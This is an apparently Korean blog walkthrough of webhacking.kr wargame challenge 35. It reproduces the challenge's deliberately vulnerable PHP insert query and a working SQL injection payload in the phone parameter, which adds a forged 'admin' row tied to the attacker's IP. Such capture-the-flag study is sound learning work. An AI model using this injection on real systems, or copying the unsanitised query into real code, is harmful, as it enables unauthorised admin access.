[webhacking.kr] 35번 문제 풀이[SQL Injection]

최대 1 분 소요

💡 Webhacking.kr challenge(old) 35번 문제에 대한 풀이입니다.

문제

image

  <?php
  $db = dbconnect();
  if($_GET['phone'] && $_GET['id']){
    if(preg_match("/\*|\/|=|select|-|#|;/i",$_GET['phone'])) exit("no hack");
    if(strlen($_GET['id']) > 5) exit("no hack");
    if(preg_match("/admin/i",$_GET['id'])) exit("you are not admin");
    mysqli_query($db,"insert into chall35(id,ip,phone) values('{$_GET['id']}','{$_SERVER['REMOTE_ADDR']}',{$_GET['phone']})") or die("query error");
    echo "Done<br>";
  }

  $isAdmin = mysqli_fetch_array(mysqli_query($db,"select ip from chall35 where id='admin' and ip='{$_SERVER['REMOTE_ADDR']}'"));
  if($isAdmin['ip'] == $_SERVER['REMOTE_ADDR']){
    solve(35);
    mysqli_query($db,"delete from chall35");
  }
  ?>

문제 풀이

필터링 되는 문자열

1 2 3 4 5 6 7
* / = select - # ;

injection 해야 하는 sql 구문

insert into chall35(id,ip,phone) values('{$_GET['id']}','{$_SERVER['REMOTE_ADDR']}',{$_GET['phone']})

문제에서 get 방식으로 id, phone을 받아서 db로 바로 입력을 합니다. id는 길이가 5가 넘으면 안되므로 인젝션을 시도하기 적절하지 않고, phone은 필터링 문자들만 우회하면 인젝션을 시도할 수 있습니다.

우선 문제를 풀기 위해서는 다음 조건이 되면 풀립니다.

  $isAdmin = mysqli_fetch_array(mysqli_query($db,"select ip from chall35 where id='admin' and ip='{$_SERVER['REMOTE_ADDR']}'"));
  if($isAdmin['ip'] == $_SERVER['REMOTE_ADDR']){
    solve(35);
  }

즉 DB에 나의 IP로 ‘admin’ 아이디가 존재해야 합니다.

다음과 같이 phone에 쿼리문을 작성하면 됩니다.

123),('admin','58.122.121.25',123

그러면 서버쪽의 sql 문에서는 다음과 같이 sql 문이 작성됩니다.

  insert into chall35(id,ip,phone) values ('guest','58.122.121.25',123),('admin','58.122.121.25',123)

image

댓글남기기